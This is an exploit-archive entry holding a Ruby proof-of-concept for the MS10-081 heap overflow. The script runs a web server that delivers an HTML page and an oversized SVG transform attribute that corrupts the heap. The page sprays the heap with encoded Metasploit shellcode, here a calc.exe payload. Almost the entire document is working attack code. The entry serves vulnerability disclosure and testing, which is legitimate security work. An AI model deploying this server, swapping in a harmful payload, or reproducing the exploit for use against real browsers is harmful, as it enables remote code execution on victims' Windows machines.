MS10-081 Heap Overflow

2010-01-10T00:00:00
ID PACKETSTORM:97383
Type packetstorm
Reporter Nephi Johnson
Modified 2010-01-10T00:00:00

Description

                                        
                                            `#!/usr/bin/env ruby  
  
# http://breakingpointsystems.com/community/blog/microsoft-vulnerability-proof-of-concept  
# Nephi Johnson  
  
require 'socket'  
  
def http_send(sock, data, opts={})  
defaults = {:code=>"200", :message=>"OK", :type=>"text/html", :desc=>"content"}  
opts = defaults.merge(opts)  
  
code = opts[:code]  
message = opts[:message]  
type = opts[:type]  
  
date_str = Time.now.gmtime.strftime("%a, %d %b %Y %H:%M:%S GMT")  
headers = "HTTP/1.1 #{code} #{message}\r\n" +  
"Date: #{date_str}\r\n" +  
"Content-Length: #{data.length}\r\n" +  
"Content-Type: #{type}\r\n\r\n"  
puts "[+] Sending #{opts[:desc]}"  
sock.write(headers + data) rescue return false  
return true  
end  
  
def sock_read(sock, out_str, timeout=5)  
begin  
if Kernel.select([sock],[],[],timeout)  
out_str.replace(sock.recv(1024))  
puts "[+] Received:"  
puts " " + out_str.split("\n")[0]  
return true  
else  
sock.close  
return false  
end  
rescue Exception => ex  
return false  
end  
end  
  
port = ARGV[0] || 55555  
  
transform_name = "\x21" * 65535  
  
svg = <<-SVG  
<?xml version="1.0"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
<svg xmlns="http://www.w3.org/2000/svg"  
xmlns:xlink="http://www.w3.org/1999/xlink">  
  
<rect x="50" y="50" height="110" width="110"  
style="fill: #ffffff"  
transform="#{transform_name}(10) translate(30) rotate(45 50 50)"  
>  
</rect>  
<text x="100" y="100">CLICK ME</text>  
</svg>  
SVG  
  
html = <<-HTML  
<html>  
<body>  
<script>  
<!--  
function str_dup(str, length) {  
var result = str;  
while(result.length < length) {  
result += result;  
}  
return result.substr(result.length - length);  
}  
  
var shellcode = unescape("%u9000%u9090%u9090") +  
// msfpayload windows/exec CMD=calc.exe R | msfencode -t js_le -b "\x00"  
unescape("%u39ba%ue680%udb4f%u29dc%ub1c9%ud933%u2474%u58f4" +  
"%u5031%u8313%u04c0%u5003%u6236%ub313%ueba0%u4cdc" +  
"%u8c30%ua955%u9e01%ub902%u2e33%uef40%uc5bf%u0404" +  
"%uab34%u2b80%u06fd%u02f7%ua6fe%uc837%ua83c%u13cb" +  
"%u0a10%udbf5%u4b65%u0132%u1985%u4deb%u8e37%u1098" +  
"%uaf8b%u1f4e%ud7b3%ue0eb%u6247%u30f5%uf9f7%ua8bd" +  
"%ua57c%uc81d%ub551%u8362%u0ede%u1210%u5f36%u24d9" +  
"%u0c76%u88e4%u4c7b%u2e20%u3b63%u4c5a%u3c1e%u2e99" +  
"%uc9c4%u883c%u6a8f%u28e5%uec5c%u266e%u7a29%u2b28" +  
"%uafac%u5742%u4e25%ud185%u757d%ub901%u1426%u6710" +  
"%u2989%ucf42%u8c76%ue208%ub663%u6952%u3a72%ud4e9" +  
"%u4474%u76f2%u751c%u1979%u8a5b%u5da8%uc093%uf4f1" +  
"%u8d3b%u4563%u2e26%u8a5e%uad5e%u736b%uada5%u7619" +  
"%u69e2%u0af1%u1c7b%ub9f5%u357c%u5c96%ud5ee%ufa77" +  
"%u7c96%u0e88");  
var base = str_dup(unescape("%u2100"), 0x800 - shellcode.length);  
var arr = [];  
for(var i = 0; i < 2000; i++) {  
arr[i] = document.createElement("a");  
arr[i].innerHTML = [base + shellcode].join("");  
}  
-->  
</script>  
<iframe width="100%" height="100%" src="poc.svg" marginheight="0" marginwidth="0"></iframe>  
</body>  
</html>  
HTML  
  
puts "[+] Listening on port #{port}"  
puts  
  
TCPServer.open(port) do |srv|  
while true  
cli = srv.accept  
req = ""  
next unless sock_read(cli, req, 5)  
while req.length > 0  
if req =~ /GET.*svg/i  
break unless http_send(cli, svg, :type=>"image/svg+xml", :desc=>"svg")  
elsif req =~ /QUIT/  
exit()  
else  
break unless http_send(cli, html, :type=>"text/html", :desc=>"html")  
end  
req = ""  
next unless sock_read(cli, req, 5)  
end  
cli.close rescue next  
end  
end  
  
`